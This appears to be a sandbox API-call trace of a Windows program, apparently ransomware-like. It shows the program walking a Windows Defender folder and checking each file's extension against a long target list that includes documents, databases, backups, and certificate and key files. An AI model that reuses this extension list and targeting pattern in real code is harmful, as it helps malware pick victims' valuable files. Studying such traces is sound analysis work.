	[0180.192] lstrlenW (lpString=".msg") returned 4
	[0180.192] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".mxl") returned 4
	[0180.192] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0180.192] lstrlenW (lpString=".myd") returned 4
	[0180.192] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".myi") returned 4
	[0180.193] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".nef") returned 4
	[0180.193] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".nrw") returned 4
	[0180.193] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".obj") returned 4
	[0180.193] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".odb") returned 4
	[0180.193] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".odc") returned 4
	[0180.193] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".odm") returned 4
	[0180.193] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".odp") returned 4
	[0180.193] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".ods") returned 4
	[0180.193] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".oft") returned 4
	[0180.193] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".one") returned 4
	[0180.193] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".onepkg") returned 7
	[0180.193] lstrcmpiW (lpString1=".onepkg", lpString2="est.dll") returned -1
	[0180.193] lstrlenW (lpString=".onetoc2") returned 8
	[0180.193] lstrcmpiW (lpString1=".onetoc2", lpString2="fest.dll") returned -1
	[0180.193] lstrlenW (lpString=".opt") returned 4
	[0180.193] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0180.193] lstrlenW (lpString=".oqy") returned 4
	[0180.194] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".orf") returned 4
	[0180.194] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".p12") returned 4
	[0180.194] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".p7b") returned 4
	[0180.194] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".p7c") returned 4
	[0180.194] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pam") returned 4
	[0180.194] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pbm") returned 4
	[0180.194] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pct") returned 4
	[0180.194] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pcx") returned 4
	[0180.194] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pdd") returned 4
	[0180.194] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pdf") returned 4
	[0180.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pdp") returned 4
	[0180.194] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pef") returned 4
	[0180.194] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0180.194] lstrlenW (lpString=".pem") returned 4
	[0180.194] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0180.195] lstrlenW (lpString=".pff") returned 4
	[0180.195] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0180.195] lstrlenW (lpString=".pfm") returned 4
	[0180.195] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0180.195] lstrlenW (lpString=".pfx") returned 4
	[0180.195] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0180.195] lstrlenW (lpString=".pgm") returned 4
	[0180.195] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0180.195] lstrlenW (lpString=".php") returned 4
	[0180.198] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0180.198] lstrlenW (lpString=".php3") returned 5
	[0180.198] lstrcmpiW (lpString1=".php3", lpString2="t.dll") returned -1
	[0180.198] lstrlenW (lpString=".php4") returned 5
	[0180.198] lstrcmpiW (lpString1=".php4", lpString2="t.dll") returned -1
	[0180.198] lstrlenW (lpString=".php5") returned 5
	[0180.198] lstrcmpiW (lpString1=".php5", lpString2="t.dll") returned -1
	[0180.198] lstrlenW (lpString=".phtml") returned 6
	[0180.198] lstrcmpiW (lpString1=".phtml", lpString2="st.dll") returned -1
	[0180.198] lstrlenW (lpString=".pict") returned 5
	[0180.198] lstrcmpiW (lpString1=".pict", lpString2="t.dll") returned -1
	[0180.198] lstrlenW (lpString=".pl") returned 3
	[0180.198] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0180.198] lstrlenW (lpString=".pls") returned 4
	[0180.198] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0180.198] lstrlenW (lpString=".pm") returned 3
	[0180.198] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0180.198] lstrlenW (lpString=".png") returned 4
	[0180.199] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".pnm") returned 4
	[0180.199] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".pot") returned 4
	[0180.199] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".potm") returned 5
	[0180.199] lstrcmpiW (lpString1=".potm", lpString2="t.dll") returned -1
	[0180.199] lstrlenW (lpString=".potx") returned 5
	[0180.199] lstrcmpiW (lpString1=".potx", lpString2="t.dll") returned -1
	[0180.199] lstrlenW (lpString=".ppa") returned 4
	[0180.199] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".ppam") returned 5
	[0180.199] lstrcmpiW (lpString1=".ppam", lpString2="t.dll") returned -1
	[0180.199] lstrlenW (lpString=".ppm") returned 4
	[0180.199] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".pps") returned 4
	[0180.199] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".ppsm") returned 5
	[0180.199] lstrcmpiW (lpString1=".ppsm", lpString2="t.dll") returned -1
	[0180.199] lstrlenW (lpString=".ppt") returned 4
	[0180.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".pptm") returned 5
	[0180.199] lstrcmpiW (lpString1=".pptm", lpString2="t.dll") returned -1
	[0180.199] lstrlenW (lpString=".pptx") returned 5
	[0180.199] lstrcmpiW (lpString1=".pptx", lpString2="t.dll") returned -1
	[0180.199] lstrlenW (lpString=".prn") returned 4
	[0180.199] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0180.199] lstrlenW (lpString=".ps") returned 3
	[0180.199] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0180.199] lstrlenW (lpString=".psb") returned 4
	[0180.199] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".psd") returned 4
	[0180.200] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".pst") returned 4
	[0180.200] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".ptx") returned 4
	[0180.200] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".pub") returned 4
	[0180.200] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".pwm") returned 4
	[0180.200] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".pxr") returned 4
	[0180.200] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".py") returned 3
	[0180.200] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0180.200] lstrlenW (lpString=".qt") returned 3
	[0180.200] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0180.200] lstrlenW (lpString=".r3d") returned 4
	[0180.200] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".raf") returned 4
	[0180.200] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".rar") returned 4
	[0180.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.200] lstrlenW (lpString=".raw") returned 4
	[0180.200] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0180.201] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="FepUnregister.mof", cAlternateFileName="")) returned 1
	[0180.201] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f9baad, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0180.201] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b1fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAzSubmit.dll", cAlternateFileName="")) returned 1
	[0180.201] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ca0b8b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xe9da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1
	[0180.201] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f2939c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6af10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1
	[0180.201] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x874d15c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x53fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1
	[0180.202] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1
	[0180.202] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x880bd29, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1
	[0180.202] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpProvider.dll", cAlternateFileName="")) returned 1
	[0180.202] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6507363, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xac7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRtp.dll", cAlternateFileName="")) returned 1
	[0180.202] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x842bfe5, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2099a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1
	[0180.203] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x53a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpuxhostproxy.dll", cAlternateFileName="")) returned 1
	[0180.203] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpUXSrv.exe", cAlternateFileName="")) returned 1
	[0180.203] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x92ec92b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x137d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1
	[0180.203] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x999a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCuiL.exe", cAlternateFileName="")) returned 1
	[0180.203] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x147a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0180.203] lstrlenW (lpString="MsMpCom.dll") returned 11
	[0180.203] lstrlenW (lpString=".1cd") returned 4
	[0180.204] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.204] lstrlenW (lpString=".3ds") returned 4
	[0180.204] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0180.204] lstrlenW (lpString=".3fr") returned 4
	[0180.204] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0180.204] lstrlenW (lpString=".3g2") returned 4
	[0180.204] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0180.204] lstrlenW (lpString=".3gp") returned 4
	[0180.204] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0180.204] lstrlenW (lpString=".7z") returned 3
	[0180.204] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.204] lstrlenW (lpString=".accda") returned 6
	[0180.204] lstrcmpiW (lpString1=".accda", lpString2="om.dll") returned -1
	[0180.204] lstrlenW (lpString=".accdb") returned 6
	[0180.204] lstrcmpiW (lpString1=".accdb", lpString2="om.dll") returned -1
	[0180.204] lstrlenW (lpString=".accdc") returned 6
	[0180.204] lstrcmpiW (lpString1=".accdc", lpString2="om.dll") returned -1
	[0180.204] lstrlenW (lpString=".accde") returned 6
	[0180.204] lstrcmpiW (lpString1=".accde", lpString2="om.dll") returned -1
	[0180.204] lstrlenW (lpString=".accdt") returned 6
	[0180.204] lstrcmpiW (lpString1=".accdt", lpString2="om.dll") returned -1
	[0180.204] lstrlenW (lpString=".accdw") returned 6
	[0180.204] lstrcmpiW (lpString1=".accdw", lpString2="om.dll") returned -1
	[0180.204] lstrlenW (lpString=".adb") returned 4
	[0180.204] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0180.204] lstrlenW (lpString=".adp") returned 4
	[0180.204] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ai") returned 3
	[0180.205] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0180.205] lstrlenW (lpString=".ai3") returned 4
	[0180.205] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ai4") returned 4
	[0180.205] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ai5") returned 4
	[0180.205] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ai6") returned 4
	[0180.205] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ai7") returned 4
	[0180.205] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ai8") returned 4
	[0180.205] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".anim") returned 5
	[0180.205] lstrcmpiW (lpString1=".anim", lpString2="m.dll") returned -1
	[0180.205] lstrlenW (lpString=".arw") returned 4
	[0180.205] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".as") returned 3
	[0180.205] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0180.205] lstrlenW (lpString=".asa") returned 4
	[0180.205] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".asc") returned 4
	[0180.205] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".ascx") returned 5
	[0180.205] lstrcmpiW (lpString1=".ascx", lpString2="m.dll") returned -1
	[0180.205] lstrlenW (lpString=".asm") returned 4
	[0180.205] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0180.205] lstrlenW (lpString=".asmx") returned 5
	[0180.205] lstrcmpiW (lpString1=".asmx", lpString2="m.dll") returned -1
	[0180.205] lstrlenW (lpString=".asp") returned 4
	[0180.205] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".aspx") returned 5
	[0180.206] lstrcmpiW (lpString1=".aspx", lpString2="m.dll") returned -1
	[0180.206] lstrlenW (lpString=".asr") returned 4
	[0180.206] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".asx") returned 4
	[0180.206] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".avi") returned 4
	[0180.206] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".avs") returned 4
	[0180.206] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".backup") returned 7
	[0180.206] lstrcmpiW (lpString1=".backup", lpString2="Com.dll") returned -1
	[0180.206] lstrlenW (lpString=".bak") returned 4
	[0180.206] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".bay") returned 4
	[0180.206] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".bd") returned 3
	[0180.206] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0180.206] lstrlenW (lpString=".bin") returned 4
	[0180.206] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".bmp") returned 4
	[0180.206] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".bz2") returned 4
	[0180.206] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".c") returned 2
	[0180.206] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0180.206] lstrlenW (lpString=".cdr") returned 4
	[0180.206] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".cer") returned 4
	[0180.206] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0180.206] lstrlenW (lpString=".cf") returned 3
	[0180.207] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0180.207] lstrlenW (lpString=".cfc") returned 4
	[0180.207] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".cfm") returned 4
	[0180.207] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".cfml") returned 5
	[0180.207] lstrcmpiW (lpString1=".cfml", lpString2="m.dll") returned -1
	[0180.207] lstrlenW (lpString=".cfu") returned 4
	[0180.207] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".chm") returned 4
	[0180.207] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".cin") returned 4
	[0180.207] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".class") returned 6
	[0180.207] lstrcmpiW (lpString1=".class", lpString2="om.dll") returned -1
	[0180.207] lstrlenW (lpString=".clx") returned 4
	[0180.207] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".config") returned 7
	[0180.207] lstrcmpiW (lpString1=".config", lpString2="Com.dll") returned -1
	[0180.207] lstrlenW (lpString=".cpp") returned 4
	[0180.207] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".cr2") returned 4
	[0180.207] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".crt") returned 4
	[0180.207] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0180.207] lstrlenW (lpString=".crw") returned 4
	[0180.247] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0180.247] lstrlenW (lpString=".cs") returned 3
	[0180.247] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0180.247] lstrlenW (lpString=".css") returned 4
	[0180.247] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0180.247] lstrlenW (lpString=".csv") returned 4
	[0180.247] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0180.247] lstrlenW (lpString=".cub") returned 4
	[0180.247] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0180.247] lstrlenW (lpString=".dae") returned 4
	[0180.247] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0180.247] lstrlenW (lpString=".dat") returned 4
	[0180.247] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".db") returned 3
	[0180.248] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0180.248] lstrlenW (lpString=".dbf") returned 4
	[0180.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dbx") returned 4
	[0180.248] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dc3") returned 4
	[0180.248] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dcm") returned 4
	[0180.248] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dcr") returned 4
	[0180.248] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".der") returned 4
	[0180.248] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dib") returned 4
	[0180.248] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dic") returned 4
	[0180.248] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0180.248] lstrlenW (lpString=".dif") returned 4
	[0180.248] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
